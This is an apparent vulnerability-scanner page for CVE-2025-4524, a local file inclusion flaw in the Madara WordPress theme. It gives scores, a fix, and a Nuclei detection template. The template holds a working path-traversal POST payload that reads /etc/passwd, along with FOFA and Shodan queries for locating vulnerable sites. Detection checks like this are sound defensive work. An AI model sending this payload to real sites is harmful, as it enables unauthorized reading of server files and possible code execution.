WordPress Madara Theme < 2.2.2.1 - Local File Inclusion

highseverity

9.1CVSS score

10.6%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

Madara WordPress theme <= 2.2.2 contains a local file inclusion vulnerability caused by improper sanitization of the 'template' parameter, letting unauthenticated attackers execute arbitrary files on the server, exploit requires crafted request.

Impact

Unauthenticated attackers can execute arbitrary PHP code, bypass access controls, and access sensitive data on the server.

Fix

Update to the latest version beyond 2.2.2.

How to confirm it

Send: POST /wp-admin/admin-ajax.php
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2025-4524 -u <target>

The full check

id: CVE-2025-4524

info:
  name: WordPress Madara Theme < 2.2.2.1 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
   Madara WordPress theme <= 2.2.2 contains a local file inclusion vulnerability caused by improper sanitization of the 'template' parameter, letting unauthenticated attackers execute arbitrary files on the server, exploit requires crafted request.
  impact: |
   Unauthenticated attackers can execute arbitrary PHP code, bypass access controls, and access sensitive data on the server.
  remediation: |
   Update to the latest version beyond 2.2.2.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/a3ee01da-218a-421d-8f9c-1dc6c056ef74
    - https://github.com/ptrstr/CVE-2025-4524
    - https://nvd.nist.gov/vuln/detail/CVE-2025-4524
    - https://cxsecurity.com/issue/WLB-2026040012
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.1
    cve-id: CVE-2025-4524
    cwe-id: CWE-22
    epss-score: 0.10556
    epss-percentile: 0.95815
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="/wp-content/themes/madara/"
    shodan-query: http.html:"/wp-content/themes/madara/"
  tags: cve,cve2025,wordpress,wp-theme,madara,lfi,unauth

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        X-Requested-With: XMLHttpRequest

        action=madara_load_more&page=1&template=plugins/../../../../../../../etc/passwd&vars[orderby]=meta_value_num&vars[paged]=1&vars[posts_per_page]=16&vars[post_type]=wp-manga&vars[post_status]=publish

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from